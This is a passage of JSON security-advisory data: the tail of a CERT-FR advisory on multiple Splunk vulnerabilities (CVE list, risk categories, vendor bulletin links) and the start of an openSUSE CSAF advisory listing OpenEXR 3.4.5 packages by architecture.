"name": "CVE-2025-12729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12729"
},
{
"name": "CVE-2025-22870",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
},
{
"name": "CVE-2025-46701",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46701"
},
{
"name": "CVE-2025-13227",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13227"
},
{
"name": "CVE-2024-30171",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-30171"
},
{
"name": "CVE-2025-10256",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10256"
},
{
"name": "CVE-2026-20162",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-20162"
},
{
"name": "CVE-2025-30749",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30749"
},
{
"name": "CVE-2025-12839",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12839"
},
{
"name": "CVE-2025-9230",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
},
{
"name": "CVE-2025-37727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-37727"
},
{
"name": "CVE-2025-53040",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53040"
},
{
"name": "CVE-2019-3844",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-3844"
},
{
"name": "CVE-2025-53906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53906"
},
{
"name": "CVE-2025-12728",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12728"
},
{
"name": "CVE-2025-8916",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8916"
},
{
"name": "CVE-2023-6605",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6605"
},
{
"name": "CVE-2025-8885",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8885"
},
{
"name": "CVE-2022-23302",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23302"
},
{
"name": "CVE-2025-12430",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12430"
},
{
"name": "CVE-2025-11187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11187"
},
{
"name": "CVE-2025-11206",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11206"
},
{
"name": "CVE-2025-62408",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62408"
},
{
"name": "CVE-2018-15686",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-15686"
},
{
"name": "CVE-2021-35938",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-35938"
},
{
"name": "CVE-2025-9951",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9951"
},
{
"name": "CVE-2025-53045",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53045"
},
{
"name": "CVE-2024-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-12243"
},
{
"name": "CVE-2025-59729",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59729"
},
{
"name": "CVE-2025-48071",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48071"
},
{
"name": "CVE-2022-42003",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42003"
},
{
"name": "CVE-2025-53506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53506"
},
{
"name": "CVE-2023-26604",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26604"
},
{
"name": "CVE-2025-69224",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69224"
},
{
"name": "CVE-2025-2759",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2759"
},
{
"name": "CVE-2025-53864",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53864"
},
{
"name": "CVE-2025-53053",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53053"
},
{
"name": "CVE-2025-30153",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30153"
},
{
"name": "CVE-2025-59419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
},
{
"name": "CVE-2025-69229",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69229"
},
{
"name": "CVE-2024-8373",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-8373"
},
{
"name": "CVE-2025-11209",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11209"
},
{
"name": "CVE-2025-30204",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
},
{
"name": "CVE-2024-21490",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-21490"
},
{
"name": "CVE-2024-50379",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-50379"
},
{
"name": "CVE-2023-49501",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-49501"
},
{
"name": "CVE-2019-3843",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-3843"
},
{
"name": "CVE-2018-6954",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-6954"
},
{
"name": "CVE-2025-53057",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53057"
},
{
"name": "CVE-2026-26981",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26981"
},
{
"name": "CVE-2025-12447",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12447"
},
{
"name": "CVE-2025-53066",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53066"
},
{
"name": "CVE-2013-4392",
"url": "https://www.cve.org/CVERecord?id=CVE-2013-4392"
},
{
"name": "CVE-2025-48074",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48074"
},
{
"name": "CVE-2024-52316",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-52316"
},
{
"name": "CVE-2016-7795",
"url": "https://www.cve.org/CVERecord?id=CVE-2016-7795"
},
{
"name": "CVE-2025-12727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12727"
},
{
"name": "CVE-2025-69420",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69420"
},
{
"name": "CVE-2025-12428",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12428"
},
{
"name": "CVE-2026-20163",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-20163"
},
{
"name": "CVE-2025-11226",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11226"
}
],
"initial_release_date": "2026-03-12T00:00:00",
"last_revision_date": "2026-03-12T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-0281",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-03-12T00:00:00.000000"
}
],
"risks": [
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits Splunk. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une injection de code indirecte \u00e0 distance (XSS).",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Splunk",
"vendor_advisories": [
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0302",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0302"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0311",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0311"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0308",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0308"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0309",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0309"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0305",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0305"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0310",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0310"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0304",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0304"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0301",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0301"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0313",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0313"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0306",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0306"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0303",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0303"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0307",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0307"
},
{
"published_at": "2026-03-11",
"title": "Bulletin de s\u00e9curit\u00e9 Splunk SVD-2026-0312",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0312"
}
]
}
OPENSUSE-SU-2026:10272-1
Vulnerability from csaf_opensuse - Published: 2026-02-27 00:00 - Updated: 2026-02-27 00:00{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "libIex-3_4-33-3.4.5-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the libIex-3_4-33-3.4.5-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10272",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10272-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-26981 page",
"url": "https://www.suse.com/security/cve/CVE-2026-26981/"
}
],
"title": "libIex-3_4-33-3.4.5-1.1 on GA media",
"tracking": {
"current_release_date": "2026-02-27T00:00:00Z",
"generator": {
"date": "2026-02-27T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10272-1",
"initial_release_date": "2026-02-27T00:00:00Z",
"revision_history": [
{
"date": "2026-02-27T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "libIex-3_4-33-3.4.5-1.1.aarch64",
"product": {
"name": "libIex-3_4-33-3.4.5-1.1.aarch64",
"product_id": "libIex-3_4-33-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"product": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"product_id": "libIex-3_4-33-32bit-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product_id": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"product": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"product_id": "libIlmThread-3_4-33-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"product": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"product_id": "libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product_id": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"product_id": "libOpenEXR-3_4-33-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"product_id": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product_id": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"product_id": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "openexr-3.4.5-1.1.aarch64",
"product": {
"name": "openexr-3.4.5-1.1.aarch64",
"product_id": "openexr-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "openexr-devel-3.4.5-1.1.aarch64",
"product": {
"name": "openexr-devel-3.4.5-1.1.aarch64",
"product_id": "openexr-devel-3.4.5-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "openexr-doc-3.4.5-1.1.aarch64",
"product": {
"name": "openexr-doc-3.4.5-1.1.aarch64",
"product_id": "openexr-doc-3.4.5-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "libIex-3_4-33-3.4.5-1.1.ppc64le",
"product": {
"name": "libIex-3_4-33-3.4.5-1.1.ppc64le",
"product_id": "libIex-3_4-33-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product_id": "libIex-3_4-33-32bit-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product_id": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"product": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"product_id": "libIlmThread-3_4-33-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product_id": "libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product_id": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXR-3_4-33-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"product_id": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "openexr-3.4.5-1.1.ppc64le",
"product": {
"name": "openexr-3.4.5-1.1.ppc64le",
"product_id": "openexr-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "openexr-devel-3.4.5-1.1.ppc64le",
"product": {
"name": "openexr-devel-3.4.5-1.1.ppc64le",
"product_id": "openexr-devel-3.4.5-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "openexr-doc-3.4.5-1.1.ppc64le",
"product": {
"name": "openexr-doc-3.4.5-1.1.ppc64le",
"product_id": "openexr-doc-3.4.5-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "libIex-3_4-33-3.4.5-1.1.s390x",
"product": {
"name": "libIex-3_4-33-3.4.5-1.1.s390x",
"product_id": "libIex-3_4-33-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"product": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"product_id": "libIex-3_4-33-32bit-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product_id": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-3.4.5-1.1.s390x",
"product": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.s390x",
"product_id": "libIlmThread-3_4-33-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"product": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"product_id": "libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product_id": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"product_id": "libOpenEXR-3_4-33-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"product_id": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product_id": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"product_id": "libOpenEXRCore-3_4-33-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"product_id": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product_id": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"product_id": "libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"product_id": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"product_id": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "openexr-3.4.5-1.1.s390x",
"product": {
"name": "openexr-3.4.5-1.1.s390x",
"product_id": "openexr-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "openexr-devel-3.4.5-1.1.s390x",
"product": {
"name": "openexr-devel-3.4.5-1.1.s390x",
"product_id": "openexr-devel-3.4.5-1.1.s390x"
}
},
{
"category": "product_version",
"name": "openexr-doc-3.4.5-1.1.s390x",
"product": {
"name": "openexr-doc-3.4.5-1.1.s390x",
"product_id": "openexr-doc-3.4.5-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "libIex-3_4-33-3.4.5-1.1.x86_64",
"product": {
"name": "libIex-3_4-33-3.4.5-1.1.x86_64",
"product_id": "libIex-3_4-33-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"product": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"product_id": "libIex-3_4-33-32bit-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product_id": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"product": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"product_id": "libIlmThread-3_4-33-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"product": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"product_id": "libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product_id": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"product_id": "libOpenEXR-3_4-33-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"product_id": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product_id": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"product_id": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
}
},
{
